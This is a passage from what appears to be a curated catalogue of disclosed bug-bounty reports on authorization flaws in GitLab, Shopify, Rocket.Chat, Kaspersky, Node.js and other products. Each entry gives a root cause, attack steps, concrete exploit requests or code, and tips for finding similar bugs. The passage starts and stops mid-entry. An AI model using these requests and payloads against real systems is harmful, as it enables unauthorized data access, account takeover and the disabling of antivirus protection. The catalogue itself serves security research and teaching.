X-CSRF-Token: <yours>
{"list_user":{"list_id":10,"email":"your@email.com"}}
# then GET /api/v2/lists/10 to grab the token, open /store/.../lists/<token>/edit
Insight — Collaborator/member-add endpoints are a classic BOLA sink: test self-adding to objects you don't own. If it succeeds, it grants durable read/write, and stored content can seed stored-XSS/phishing into popular shared objects.
Real-world example
Read forbidden object through a side-channel endpoint (subscribe returns full object)
◆ Medium
Specimen #195134 · gitlab · none · 13 votes · resolved
Program gitlabSurface api
Root cause
Direct GET of a private merge request is correctly denied (403), but the subscription endpoint calls find() directly on the relation without scoping to accessible objects and returns the full MR representation in its response, leaking data the user cannot otherwise read.
Method
- As a guest lacking MR access, confirm direct GET returns 403
- POST to the subscription endpoint for the same MR id
- Read the full MR (title, description, branches, SHAs) from the subscription response
curl -X POST -H "Private-Token: XXXX" http://TARGET/api/v3/projects/1/merge_requests/1/subscription
# returns full MR JSON; direct GET .../merge_requests/2 returns 403
Insight — Don't test only the obvious GET. Secondary actions (subscribe, watch, star, export, notifications) frequently echo the full protected object and skip the authorization scoping the primary read enforces. Enumerate every endpoint that touches an object's ID.
Real-world example
Persistent enumerable conference rooms never expire, exposing chat/files
◆ Medium
Specimen #996122 · adobe · none · 13 votes · resolved
Program adobeSurface webChain room-name enumeration -> unauthenticated room access ->Tag account-takeover
Root cause
Adobe Connect meeting rooms have guessable names/IDs and no password or session expiration, so old rooms stay open indefinitely and their historical chat logs and uploaded files (with PII) remain accessible.
Method
- Enumerate meeting-room URLs by guessing predictable room names.
- Enter rooms that lack a password (no expiry enforced).
- Read persisted chat history and download uploaded files, some containing PII.
https://TARGET/<guessed-room-name>?proto=true
Insight — Long-lived collaboration resources (meeting rooms, share links, recordings) are frequently both enumerable and non-expiring. Fuzz predictable room names and check whether stale rooms retain historical chat/files.
Real-world example
Unauthenticated Meteor method mutates global config
◆ Medium
Specimen #1063164 · rocket_chat · none · 12 votes · resolved
Program rocket_chatSurface web
Root cause
A Meteor server method forwards client input straight to a DB model update with no authentication or role check, so any client (including unauthenticated) can invoke it from the browser console.
Method
- Open the target Meteor app in a browser
- Open devtools console
- Call the vulnerable Meteor method directly with attacker parameters
Meteor.call('livechat:saveOfficeHours','Monday','00:23','00:42',true);
Insight — Meteor apps expose every Meteor.method to the client. Enumerate method names (bundle JS / DDP) and test each with Meteor.call from the console; methods that lack a Meteor.userId()/permission check are direct unauthenticated actions. The same pattern applies to any RPC-over-websocket framework.
Real-world example
Exported activity trusts caller URI to steal private files
◆ Medium
Specimen #1094702 · line · awarded · 12 votes · resolved
Program lineSurface mobile-androidChain malicious app -> exported activity -> copy private fil
Root cause
An exported Android activity (a share/select handler) accepts a file URI from a third-party app without validating it, then copies the referenced file to a world-readable location, allowing a malicious app to exfiltrate the victim app's private files.
Method
- Enumerate exported components in the target APK's manifest
- Send an Intent to the exported activity referencing a private file path/URI inside the target app's data dir
- Trigger the (user-assisted) share/save action
- Read the copied file from the public/accessible directory
# start the exported activity with a crafted data URI pointing at the victim app's private file
# component: com.linecorp.linelite.ui.android.share.SelectShareActivity
Insight — Any exported component that takes a caller-supplied URI/path and reads or copies it is a file-theft primitive (the confused-deputy pattern). Grep the manifest for exported activities/providers and fuzz their extras with file:// and content:// URIs pointing at the app's own sandbox.
Real-world example
Delete endpoint destroys the shared object instead of unlinking the relationship
◆ Medium
Specimen #195088 · gitlab · none · 12 votes · resolved
Program gitlabSurface apiChain any user -> delete shared deploy key -> break deployme
Root cause
A project-scoped delete endpoint for a shared/public deploy key calls destroy() on the global key object rather than removing the project-key relationship, so any user with one project can delete a key used by all projects.
Method
- Enable a public/shared deploy key on your own new project
- Find the project id and the shared key id via the API
- Send DELETE for the key under your project; the global shared key is destroyed for everyone
curl -X DELETE -H "Private-Token: AAAA" http://TARGET/api/v3/projects/1/deploy_keys/1
# destroys the shared key object (public:true) rather than unlinking the project relationship
Insight — For shared/global resources exposed under a per-tenant path, test whether DELETE removes the association or the underlying object. destroy-on-shared-object is both a broken-access-control and a cross-tenant DoS primitive.
Real-world example
Blocked user retains git access via a frozen CI/CD token
◆ Medium
Specimen #497047 · gitlab · 1500 · 11 votes · resolved
Program gitlabSurface webChain capture CI job token -> hang job to prevent expiry -> Tag supply-chain
Root cause
Two flaws combine: running CI jobs do not re-check whether the triggering user is blocked, and holding the runner's HTTP response open keeps the job (and its short-lived CI token) alive indefinitely, so a blocked user keeps a working git credential.
Method
- As soon-to-be-blocked attacker, create a project, register a runner, add .gitlab-ci.yml
- Proxy the runner's git/HTTP traffic; start a job and capture the CI job token from the clone request
- Drop/hold the HTTP responses to the runner so the job never completes and the token never expires
- After being blocked, use the CI token via git clone/pull against repos the user had access to
# runner proxied through Burp; capture Authorization header (job token) from clone request
# drop responses -> job runs past timeout -> token stays valid
git clone https://gitlab-ci-token:<TOKEN>@gitlab.example.com/<ns>/<proj>.git
Insight — Short-lived tokens assume the issuing job ends promptly and that revocation events (user block) propagate to active jobs. Test whether long-running/hung jobs keep tokens alive and whether deprovisioning re-validates in-flight sessions/tokens.
Real-world example
IDOR via trusting a user-supplied parent/context ID instead of the object's real owner
◆ Medium
Specimen #1060837 · rocket_chat · none · 11 votes · resolved
Program rocket_chatSurface web
Root cause
The starMessage method validates that the user can access the room ID (rid) supplied in the request, but never checks that the target message actually belongs to that room. Access is authorized against attacker-controlled context, not the object.
Method
- Log in and open the web inspector
- Call the Meteor starMessage method with any room ID you legitimately access (e.g. general) plus an arbitrary target message _id
- Server authorizes on the room you can access and writes the starred attribute on a message from a room you cannot access
Meteor.call("starMessage", {
rid: "<ANY_ROOM_ID_WITH_ACCESS>",
_id: "<TARGET_MESSAGE_ID>",
starred: true
}, (...args) => console.log(...args));
Insight — When an endpoint takes both an object ID and a parent/scope ID, check whether authorization is done on the parent you supply rather than on the object. Point the scope at something you own and the object at something you don't.
Real-world example
Missing ownership/type check on a DELETE endpoint lets any user destroy others' objects
◆ Medium
Specimen #2047168 · nextcloud · none · 11 votes · resolved
Program nextcloudSurface api
Root cause
UserStoragesController delete only verifies the mount id exists in the DB, without checking the storage owner or type; any authenticated non-admin can delete any user or global external storage by id (CVE-2023-39962).
Method
- Admin creates an external storage; note its integer storage id
- As a non-admin user send DELETE /apps/files_external/userstorages/<storage_id>
- Storage is unmounted/removed from DB regardless of owner
DELETE /apps/files_external/userstorages/<storage_id> HTTP/1.1
Host: TARGET
OCS-APIREQUEST: true
Insight — Delete/update handlers frequently check only existence, not ownership. Enumerate integer object ids and fire DELETE from a low-priv account; missing owner scoping is common in *StoragesController-style CRUD.
Real-world example
BFLA: lower role invokes user-management GraphQL mutations
◆ Medium
Specimen #1084904 · shopify · awarded · 11 votes · resolved
Program shopifySurface graphqlChain low role → GID enumeration query → replay privileged mutatioTag graphqlTag saml
Root cause
Shopify Plus enforced menu/UI restrictions but the GraphQL API did not re-check function-level authorization: a user with only 'Store management' permission could call user-management mutations (convertUsersToSaml/convertUsersFromSaml) that should require User Management, potentially unlinking/linking victims' SAML identities and locking them out.
Method
- Get a low-privilege role (Store management) that can reach some GraphQL endpoint
- Enumerate object IDs via an accessible query (organization.users edges)
- Replay a privileged mutation you shouldn't have, substituting a target user id
- Server executes it (or returns a config-level error), proving the function-level check is missing
POST /<org>/stores/api HTTP/1.1
Host: shopify.plus
Content-Type: application/json
{"query":"mutation{convertUsersToSaml(userIds:[\"TARGET_USER_GID\"]){userErrors{message}}}"}
Insight — GraphQL BFLA: UI hiding a mutation is not authorization. For every low role, harvest object GIDs from any readable query, then replay each higher-privilege mutation directly. A domain-logic error message (not 'unauthorized') means you passed the authz gate.
Real-world example
XPC/IPC service authorizing only by Team ID -> dylib injection into old signed binary disables AV
◆ Medium
Specimen #980876 · kaspersky · awarded · 10 votes · resolved
Program kasperskySurface desktopChain dylib injection into old signed binary -> XPC connect (Te
Root cause
The macOS endpoint-security system extension's XPC listener (shouldAcceptNewConnection) validates only the client's Team ID, not full code-signing requirements or a hardened/min-version check. An attacker downloads an older signed Kaspersky binary that ships com.apple.security.cs.disable-library-validation, injects a dylib via dylib proxying, and from that same-Team-ID process calls getEndpointForProtocol to reach protocols like FileMonitorProtocol and disable AV (CVE-2021-26718).
Method
- Find the Mach service name in the system extension Info.plist (NEMachServiceName)
- Obtain an older, still-signed vendor binary that has disable-library-validation and inject a dylib (proxy the original)
- From that process connect to the XPC service (Team ID check passes), call getEndpointForProtocol to obtain sensitive protocol endpoints, then invoke e.g. DisableReadonlyVolumeScan
NSXPCConnection* c = [[NSXPCConnection alloc] initWithMachServiceName:@"2Y8XE5CQ94.com.kaspersky.kav.sysext" options:4096];
[c setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(IPCServiceProtocol)]];
[c resume];
id agent = [c remoteObjectProxyWithErrorHandler:^(NSError*e){}];
[agent getEndpointForProtocol:@"FileMonitorProtocol" withReply:^(NSError*e, NSXPCListenerEndpoint*ep){ /* new connection -> DisableReadonlyVolumeScan */ }];
Insight — For any XPC/IPC/COM service, check what the accept handler actually verifies. Team-ID-only is bypassable via an old vendor binary with disable-library-validation. Proper checks require Apple+TeamID+BundleID+min-version and audit_token (not PID, which is reuse-vulnerable).
Real-world example
Empty tenant/scope id escapes departmental boundary
◆ Medium
Specimen #890209 · lark_technologies · awarded · 10 votes · resolved
Program lark_technologiesSurface webChain scoped user-manager → blank department_id → cross-department
Root cause
A user allowed to manage users within their own department could add users outside it by submitting an empty department_id value, which the server treated as 'no scope restriction' instead of rejecting it — a scope-escape via a blanked tenant identifier.
Method
- As a sub-department user-manager, capture the add-user request
- Blank out the department_id (or tenant/org scope) field
- Submit; the empty scope bypasses the department boundary and adds users to the main department
# add-user request with scope id emptied
department_id=
Insight — Test empty/null/0/wildcard values for any tenant/department/org id that is supposed to constrain an action. Servers frequently interpret a missing scope as unscoped/global rather than denying it. Same idea as tenant-isolation bypass via blank org id.
Real-world example
Authorization enforced in the web UI but missing in the REST API (broken function-level authz)
◆ Medium
Specimen #962604 · gitlab · USD 1500 · 9 votes · resolved
Program gitlabSurface api
Root cause
GitLab blocks a demoted Guest from viewing/editing Merge Requests in the web UI, but the same permission check is not implemented in the API. A downgraded user with a personal access token can still read MR title, description, participants, commits, changes, pipelines, versions, approvals, and create TODOs.
Method
- Have a user create an MR as Developer, then get demoted to Guest (loses MR tab in UI)
- Create a personal access token as the Guest and call the MR API endpoints
- API returns data the UI forbids
GET /projects/:id/merge_requests/:iid
GET /projects/:id/merge_requests/:iid/changes
GET /projects/:id/merge_requests/:iid/commits
GET /projects/:id/merge_requests/:iid/approvals
POST /projects/:id/merge_requests/:iid/todo (Header: PRIVATE-TOKEN: <token>)
Insight — After any role downgrade, re-test every action through the API/GraphQL rather than the UI. Authorization checks frequently live in web controllers/policies but are absent on the API surface for the same resource. This same fine-grained-permission gap also let Shopify staff export customers CSV without the export permission.
Real-world example
Permission enforced on parent feature but missing on a sub-resource JSON endpoint
◆ Medium
Specimen #676976 · gitlab · awarded · 9 votes · resolved
Program gitlabSurface api
Root cause
GitLab restricts CI pipeline visibility (public pipelines disabled), but the MR container_scanning_reports and dependency_scanning_reports JSON endpoints, which are CI output, render regardless of that CI-access check, leaking scan findings to unauthorized users.
Method
- Create a public project, restrict CI to members and disable public pipelines
- Add a .gitlab-ci.yml that emits gl-container-scanning-report.json / gl-dependency-scanning-report.json artifacts and open an MR
- As an unauthorized user request the MR scanning report sub-endpoints
GET https://gitlab.com/<ns>/<project>/merge_requests/1/container_scanning_reports
GET https://gitlab.com/<ns>/<project>/merge_requests/1/dependency_scanning_reports
Insight — When a feature is access-controlled, enumerate its data/widget sub-endpoints (…/xxx_reports, …/widget.json, …/discussions.json). The authz check often sits on the page/feature, not on each JSON sub-resource that reproduces the same protected data.
Real-world example
API returns team members' emails hidden by the UI
◆ Medium
Specimen #244781 · wakatime · none · 9 votes · resolved
Program wakatimeSurface api
Root cause
UI restricted personal member info (email, role) to owners/admins, but the underlying members API endpoint enforced no such role check, so a low-privilege 'member' could read all team members' emails via the API.
Method
- Join a team as a low-privilege member and note the team_id
- Call the members API endpoint directly instead of using the UI
- Read the emails/roles of all members that the UI would have hidden
GET https://wakatime.com/api/v1/users/current/leaderboards/TEAM_ID/members HTTP/1.1
Cookie: <member session>
Insight — When the UI hides fields by role, the JSON API behind it often does not. For every field a low-priv user cannot see in the UI, fetch the backing API/GraphQL directly - authorization is frequently only presentation-layer.
Real-world example
Authorization gap between web UI and API (guest posts to private objects)
◆ Medium
Specimen #195140 · gitlab · none · 9 votes · resolved
Program gitlabSurface apiChain guest role → private object id → notes API write → post to o
Root cause
GitLab enforced object ACLs in the web application but the notes REST API did not re-check them, so a user with only guest access could POST notes to private merge requests, issues, and snippets they cannot even view in the UI.
Method
- As a guest, obtain a personal API token
- Reference a private object id (MR/issue/snippet) you cannot see in the UI
- POST to the notes API with that reference
- Note is created on the private object, confirming the missing ACL check
curl -X POST -H "Private-Token: XXXX" \
http://gitlab/api/v3/projects/1/merge_requests/2/notes -d 'body=Hello+world'
Insight — Always test the API surface independently of the UI. UI-only authorization is a recurring class: read/write the same objects via REST/GraphQL that the web app hides. Enumerate object ids and drive every action through the raw API with a low-priv token.
Real-world example
Search index (Elasticsearch) not authorization-filtered
◆ Medium
Specimen #710006 · gitlab · awarded · 8 votes · resolved
Program gitlabSurface api
Root cause
The 'notes' search scope returns hits from private groups/projects/issues without re-checking the caller's authorization, leaking existence and content of private objects to any logged-in user.
Method
- As an unrelated/low-priv user, search with scope=notes for a keyword tied to a private project
- Read leaked note bodies revealing private group/subgroup/project names, issue IDs and memberships
- Repeat via the search API with any valid token
GET /search?group_id=9970&scope=notes&search=KEYWORD
curl "https://TARGET/api/v4/projects/PROJECT_ID/search?scope=notes&search=KEYWORD" -H "PRIVATE-TOKEN: ANY_TOKEN"
Insight — Search/indexing layers frequently bypass the app's per-object ACL. Test every search scope (notes, comments, snippets, wiki) as an outsider - the index often knows about private objects the UI would hide.
Real-world example
Exposed installer/setup script (MediaWiki mw-config)
◆ Medium
Specimen #1804174 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface web
Root cause
The application's setup/installer endpoint is reachable without authentication on a live instance, letting an attacker restart/reconfigure the install.
Method
- Browse directly to the setup path
- Observe the reinstall/reconfigure UI available unauthenticated
https://TARGET/mw-config/index.php
Insight — Always probe for leftover installers/setup wizards: /mw-config/ (MediaWiki), /install, /setup, /wp-admin/setup-config.php, /installation/. On production they enable reconfiguration or full takeover. Fix pattern is to 404/deny the setup dir.
Real-world example
Jira QueryComponent unauthenticated JQL / SLA-field disclosure (CVE-2020-14179)
◆ Medium
Specimen #1061204 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface web
Root cause
Jira's QueryComponent!Default.jspa / QueryComponent!Jql.jspa endpoints do not authenticate the caller, exposing custom field names (incl. SLA fields) and allowing anonymous JQL queries.
Method
- Identify a Jira instance (path /jira or /secure/Dashboard.jspa)
- Request QueryComponent!Default.jspa unauthenticated to enumerate custom/SLA field names
- Use QueryComponent!Jql.jspa?jql=... to run JQL and infer sensitive data
GET /jira/secure/QueryComponent!Default.jspa HTTP/1.1
# then
GET /jira/secure/QueryComponent!Jql.jspa?jql=reporter=USERNAME HTTP/1.1
Insight — Product-specific unauthenticated endpoints are high-yield: fingerprint the app (Jira/Confluence/etc.), then hit the known CVE endpoints directly. Jira's !Default/!Jql action endpoints frequently bypass the login gate.
Real-world example
Retained admin rights after removal + cross-org member-deletion IDOR
◆ Medium
Specimen #55670 · x · 280 · 8 votes · resolved
Program xSurface webTag account-takeover
Root cause
Removing/downgrading a privileged user does not invalidate their active session/capabilities, and the member-delete (leave) endpoint checks no ownership of the target org/member, so any user can delete arbitrary members by supplying victim org/member IDs.
Method
- Note victim org id and member id while transiently privileged (or from any leaked source)
- Get removed/downgraded, then capture a legitimate remove-member (leave) request from your own org
- Swap the account id and org id to the victim's values and replay
- Server deletes the victim member with no authorization check
# legit request from attacker's own org:
DELETE /api/v3/accounts/{attacker_member}/organizations/{attacker_org}/leave HTTP/1.1
Host: fabric.io
# swap to victim ids -> deletes victim member cross-org:
DELETE /api/v3/accounts/{VICTIM_MEMBER_ID}/organizations/{VICTIM_ORG_ID}/leave HTTP/1.1
Host: fabric.io
# Veris variant (120115):
DELETE /api/v1/org-member/4/{VICTIM_MEMBER_ID}/
Insight — After any privilege change, retest with the old session - many apps cache capabilities and don't invalidate tokens on role removal. Separately, member/leave/remove endpoints are classic IDOR sinks: swap org and member ids to act cross-tenant. Test both the retained-privilege and the object-reference angles together.
Real-world example
open_basedir bypass via function missing the check (PHP linkinfo on Windows)
◆ Medium
Specimen #384719 · ibb · awarded · 7 votes · resolved
Program ibbSurface other
Root cause
PHP's linkinfo() on Windows omits the open_basedir restriction check that the Unix path implements, so it can probe file existence/paths outside the allowed directories on shared hosting.
Method
- On a shared host with open_basedir set, call linkinfo() against paths outside the jail
- Non-warning return reveals presence of files outside the restriction
<?php
$var1="c:\\jump\\folder\\file1.txt";
print @linkinfo($var1).PHP_EOL; // no open_basedir warning => bypass
Insight — Filesystem-touching functions are inconsistently wrapped with open_basedir/realpath checks; audit less-common ones (linkinfo, realpath_cache, tempnam, glob) for a missing check to enumerate files outside the jail on shared hosting.
Real-world example
Case-sensitive SNI/hostname matching bypasses per-host mTLS trust policy
◆ Medium
Specimen #3656869 · nodejs · none · 7 votes · resolved
Program nodejsSurface other
Root cause
In multi-context (multiple SNI cert/policy) mTLS setups, hostname matching is case-sensitive, so presenting the hostname in a different case selects a different (weaker/unintended) SNI context and bypasses the intended client-cert trust policy.
Method
- Identify an mTLS server that selects trust policy by SNI hostname
- Connect with the same hostname in uppercase/mixed case
- Server matches a different context that does not enforce the intended client-cert policy
openssl s_client -connect TARGET:443 -servername EXAMPLE.COM # vs example.com
Insight — DNS hostnames are case-insensitive but security comparisons often aren't. Test uppercase/mixed-case (and trailing dot) variants against any host-based routing, SNI context selection, vhost ACL, or CORS/origin allowlist to slip into a different trust context.
Real-world example
UI-only precondition bypassed by direct authenticated POST
◆ Medium
Specimen #46113 · vimeo · awarded · 7 votes · resolved
Program vimeoSurface web
Root cause
The rule 'you must follow a member before messaging them' was enforced only in the UI; the /messages endpoint performed no server-side authorization on the target user id.
Method
- Capture the legitimate send-message POST while messaging someone you do follow
- Replay it changing the user param to any target user id
- Message is delivered with no follow relationship / authorization check
POST /messages HTTP/1.1
Host: vimeo.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
name=x&text=blaat&action=send_message&lightbox=true&user=ANY_USER_ID&token=CSRF_TOKEN
Insight — Whenever a workflow shows a client-side gate ('you must do X first'), replay the underlying request directly and swap the object id. Server-side authorization is frequently missing on the endpoint behind a UI restriction.
Real-world example
Unrestricted postMessage exposes AV extension command interface to any site
◆ Medium
Specimen #470553 · kaspersky · awarded · 7 votes · resolved
Program kasperskySurface otherChain malicious page -> intercept postMessage('*') -> obtainTag account-takeover
Root cause
The Kaspersky Protect browser extension sends the location of its privileged local command interface to its URL-Advisor frame via window.postMessage() with no targetOrigin restriction. A malicious page can replace/observe that frame, capture the message, and then drive the command interface directly. CVE-2019-15685.
Method
- Host a page under a hostname the extension injects into (here, matching www.google.*)
- Cause the URL Advisor frame to render, then intercept the unrestricted postMessage
- Read the command-interface location from the message and issue commands to it
- Toggle AV features / add blocklist entries as PoC
// vulnerable pattern in the extension:
window.postMessage(data, '*'); // no targetOrigin -> any page reads it
// data contained the location of Kaspersky's privileged command interface
Insight — Audit browser extensions / desktop-injected content for postMessage(data,'*') and for message handlers lacking event.origin checks. Leaking a privileged endpoint/token to the DOM lets any web origin escalate to that endpoint's capabilities; here that reaches a SYSTEM-privileged command interface, turning any bug there into RCE.
Real-world example
Chat/IRC bot leaks private object metadata when queried out-of-band
◆ Medium
Specimen #222870 · phabricator · awarded · 7 votes · resolved
Program phabricatorSurface web
Root cause
The Phabricator IRC bot resolved task numbers to titles for channels; querying it via direct private message returned task titles with no access-control check, disclosing private task names.
Method
- Find an integration bot (IRC/Slack/Discord) that expands object references (T123, #123).
- Direct-message the bot an object ID instead of using it in the shared channel.
- It returns the object title/metadata without checking whether you may view it.
/msg bot T698
-> "T698: <private task title> - https://TARGET/T698"
Insight — Bots and integrations often run with a service identity and skip per-user authorization. Enumerate sequential object IDs through the bot (DM or channel) to harvest titles/metadata of private items. Same class: link-unfurlers, preview generators, webhook responders.
Real-world example
Stale authorization: to-dos not redacted after permission downgrade
◆ Medium
Specimen #880863 · gitlab · awarded · 7 votes · resolved
Program gitlabSurface api
Root cause
Cached/denormalized references (GitLab to-dos) created while a user had higher access are not re-checked or redacted when the user's role is lowered, so a downgraded (not removed) member keeps reading confidential issues/MRs via the API.
Method
- As a higher-privilege member, add confidential issues/MRs to your to-do list
- Have the owner downgrade your role (e.g. Repository -> Guest) rather than remove you
- Query the to-dos API and observe continued access to confidential content and its updates
curl --header "PRIVATE-TOKEN: <downgraded_user_token>" https://TARGET/api/v4/todos
Insight — Test authorization state transitions, not just static roles. After a downgrade (vs full removal), re-check every cache/notification/to-do/bookmark surface that snapshotted object references while access was higher; regression-prone even after a prior fix.
Real-world example
Unauthenticated PII via object 'version' endpoint; verified version leaks extra fields
◆ Medium
Specimen #1627962 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface api
Root cause
A background API call for a resource's historical versions is reachable unauthenticated and returns author PII (id, uuid, name); requesting the version whose state is verified/pending-verification additionally returns the author's email.
Method
- Proxy the app and enumerate background XHRs on a public profile page (e.g. /app/org/{id}/profile/{id}/version/{id})
- Replay the version endpoint without authentication to confirm PII exposure
- Switch the version id to the verified/requested-to-be-verified version to obtain the extra email field
GET /app/org/{orgId}/profile/{profileId}/version/{versionId}
# unauthenticated; verified version id returns id,uuid,name + email
Insight — Watch the proxy for secondary/duplicate API calls the UI makes in the background; version/history endpoints often skip the auth checks the primary page enforces, and different object states (verified vs draft) expose different field sets. Enumerate both the id and the state/version.
Real-world example
No-permission POS staff scrapes access token then leaks orders via GraphQL mutation
◆ Medium
Specimen #917875 · shopify · 1000 · 7 votes · resolved
Program shopifySurface mobile-androidChain no-perm token capture -> GraphQL exchangeReceiptSend (BFLTag graphql
Root cause
A 'No Permissions' staff account is still issued a valid X-Shopify-Access-Token by the mobile (POS) app before it enforces UI-level restrictions; that token is accepted by admin GraphQL mutations (exchangeReceiptSend) that lack server-side permission checks, leaking order details to an attacker-chosen phone.
Method
- Create/assign a staff account with No Permissions; log into the mobile POS app while proxying (Fiddler/Burp)
- Capture the X-Shopify-Access-Token the app sends (e.g. to /admin/api/unstable/shop.json) before it logs the account out
- Replay an admin GraphQL mutation with that token, supplying an arbitrary exchangeId and your phone number
- Receive the order receipt/authenticate links over SMS
POST /admin/api/unversioned/graphql HTTP/1.1
X-Shopify-Access-Token: <captured_token>
Content-Type: application/json
{"query":"mutation ExchangeReceiptSend($exchangeId: ID!, $input: ExchangeReceiptSendRecipientInput!){ exchangeReceiptSend(exchangeId:$exchangeId, recipient:$input){ exchange{ id } userErrors{ code message } } }","variables":{"exchangeId":"gid://shopify/Exchange/605028374","input":{"phone":"+CC..."}}}
Insight — Mobile/desktop clients frequently hand a full-scope API token to a low/no-permission account before enforcing UI gating. Intercept the client, harvest the token, then test privileged GraphQL mutations directly; permission checks enforced only in the UI (BFLA) fall apart at the API. Also enumerate object ids (Exchange/Order) for the mutation.
Real-world example
Permission-flag type juggling: is_internal=, coerces internal-only to public comment
◆ Medium
Specimen #107336 · security · awarded · 7 votes · resolved
Program securitySurface web
Root cause
A member limited to internal comments is restricted by an is_internal boolean; sending a malformed value (a bare comma -> array/empty) causes the server to treat the comment as non-internal, so it is delivered to all participants.
Method
- As a user permitted only to post internal comments, capture the create-comment request
- Change is_internal=true to is_internal=, (array/empty coercion)
- Submit - the comment is created as public/visible to the reporter
message=test&substate=&is_internal=,&reference=&add_reporter_to_original=false&reply_action=add-comment&reports_count=1&report_ids%5B%5D=107329
Insight — Boolean permission flags are often parsed loosely. Fuzz them with empty, comma, arrays (flag[]=), strings, 0/1, and null - a value the parser can't cast to true may fall through to the more-permissive default. Test every server-side authorization toggle for type coercion.
Real-world example
Hidden-record disclosure via smuggled query arg (show_hidden) through cookie param
◆ Medium
Specimen #282176 · wordpress · awarded · 6 votes · resolved
Program wordpressSurface web
Root cause
A privileged query argument (show_hidden) is enforced only by a caller-side capability check, but a separate AJAX code path builds the query string from unsanitized user-controlled input (the POST 'cookie' value), letting the attacker smuggle the arg into the ORM and bypass the visibility filter.
Method
- Find a listing/search AJAX handler that reflects user input into an internal query (BuddyPress groups_filter -> bp_has_groups).
- Identify a value concatenated into the query string without urlencode() (the bp-<object>-filter / bp-<object>-scope cookie values).
- Double-URL-encode a smuggled '&show_hidden=1' inside that cookie value so it survives urldecode and becomes a top-level query arg.
- POST to admin-ajax.php; hidden groups' title/description/avatar/member-count are returned to the unauthenticated attacker.
POST /wp-admin/admin-ajax.php
action=groups_filter&cookie=bp-groups-filter%253D%252526show_hidden%3D1&object=groups
(alt) cookie=bp-groups-scope%253D%252526show_hidden%3D1
Insight — When an app's authorization for a query flag lives in the calling function rather than the data-access method, hunt for any other path that passes user input into that same method. Parameter/arg smuggling through an un-encoded string concatenation (%2526 -> %26 -> &) is the delivery vehicle.
Real-world example
Node.js permission-model bypass via un-instrumented fs APIs (openAsBlob / watchFile)
◆ Medium
Specimen #1966492 · nodejs · none · 6 votes · resolved
Program nodejsSurface other
Root cause
The --experimental-permission model gates only some fs entry points; secondary APIs that also touch the filesystem (fs.openAsBlob reads content, fs.watchFile leaks change events) were not wired into the permission checks, so they operate on files with no granted read permission.
Method
- Start node with --experimental-permission and grant read only to a benign dir (not to file.txt).
- Call fs.openAsBlob(path) and .text() to read a file you have no permission for.
- Or call fs.watchFile(path,cb) to receive change events on a file you cannot read - an information leak.
// read bypass
const fs=require('node:fs');
const blob=await fs.openAsBlob(__dirname+'/file.txt');
console.log(await blob.text());
// watch bypass
fs.watchFile(__dirname+'/file.txt',()=>console.log('leaked change event'));
Insight — When reviewing a permission/allowlist system, enumerate every API that reaches the guarded resource, not just the obvious ones. Coverage gaps in secondary/less-common calls (blob, watch, stat, glob) are the usual bypass.
Real-world example
Unauthenticated admin typeahead info disclosure
◆ Medium
Specimen #49806 · x · 560 · 6 votes · resolved
Program xSurface web
Root cause
An internal admin JSON endpoint returned any account's campaign and member information to any logged-in user with no authorization check on the queried account.
Method
- Log into a normal account
- Request the admin typeahead endpoint with query set to your own name
- Change the query to any other screen_name/account (e.g. microsoft)
- Read campaign members and account info you shouldn't see
GET https://ads.twitter.com/admin/accounts_typeahead.json?query=TARGET_SCREENNAME
Insight — Look for /admin/*.json or *_typeahead/autocomplete endpoints; they are frequently exposed to any authenticated session and leak cross-tenant data by an attacker-controlled query/account parameter.
Real-world example
account= parameter not bound to authenticated user
◆ Medium
Specimen #74933 · mapbox · awarded · 6 votes · resolved
Program mapboxSurface api
Root cause
An internal API endpoint used a client-supplied account username parameter to select which user's maps to return, without checking it matched the authenticated caller, disclosing any user's map metadata.
Method
- Authenticate normally
- Request the maps API supplying &account=<victim_username>
- Receive the victim's map names, descriptions, layers, coordinates, timestamps
GET /core/api/Map?list=1&private=1&_type=composite&account=VICTIM_USERNAME
GET /core/api/Map?account=VICTIM_USERNAME&_object=tm2style&private=1
Insight — Any endpoint that takes an account/username/tenant identifier as a request parameter is an authz test: swap it to another user's value. Fix pattern is forcing the param to equal the session user.
Real-world example
Granular admin permission enforced in UI but not on JSON endpoints
◆ Medium
Specimen #95589 · shopify · awarded · 6 votes · resolved
Program shopifySurface api
Root cause
Fine-grained staff permissions were checked only on the rendered UI routes; the underlying JSON/data endpoints (activity feed, payment gateways) performed no permission check, so a limited staff account could read data its role forbade by calling the endpoint directly.
Method
- Create a limited-permission staff user (e.g. Overviews-only, no Home/Settings)
- Confirm the UI blocks the restricted page
- Call the backing data endpoint directly (activity_feed / payment_gateways.json)
- Restricted data is returned
GET /admin/dashboard/activity_feed?activity_pages=1&activity_filter=all
GET /admin/payment_gateways.json # (see #96908)
Insight — Whenever a UI page is permission-gated, capture and replay the XHR/JSON endpoints it calls with a lower-privileged session. Backend endpoints routinely miss the granular checks applied at the page level.
Real-world example
No-permission staff CRUD on prescriptions via direct POST
◆ Medium
Specimen #142101 · drchrono · awarded · 6 votes · resolved
Program drchronoSurface api
Root cause
UI access to the e-prescribing module was permission-gated, but the underlying favorite-prescription create/edit/delete POST endpoints enforced no permission check, letting a staff member with zero permissions modify prescription favorites a doctor may later prescribe from.
Method
- Create org with a no-permission staff member
- Confirm /erx/ UI returns permission denied
- Directly POST to the save/edit/delete favorite endpoints with a valid CSRF token
- Favorite prescriptions are created/edited/deleted despite no UI access
POST /erx/favorites/save_prescription/ (create)
POST /erx/favorites/save_prescription/{id}/ (edit)
POST /erx/favorites/delete_prescription/ (id={id})
Insight — 'UI says permission denied' is not authorization. Enumerate the module's action endpoints and call them directly; missing function-level authz on write endpoints is common and here has patient-safety impact (silently altered dosages).
Real-world example
Team invitation link is multi-use and not identity-bound
◆ Medium
Specimen #46429 · security · 500 · 6 votes · resolved
Program securitySurface web
Root cause
A team/manager invitation URL was not single-use or bound to the invited email; it stayed valid for a long time and could be accepted by any account that opened it, letting an unintended user join the (sandboxed) team.
Method
- User A invites B (e.g. as Manager) by email
- Obtain the invitation URL
- Open/accept it from a different, uninvited account
- That account joins the team with the invited role
https://hackerone.com/invitations/{TOKEN} # accept from any logged-in account
Insight — Invitation tokens should be single-use and bound to the target identity. Test by accepting an invite from a different account and by re-accepting after first use.
Real-world example
Low-priv Member can CRUD org API keys (BFLA)
◆ Medium
Specimen #1628012 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface api
Root cause
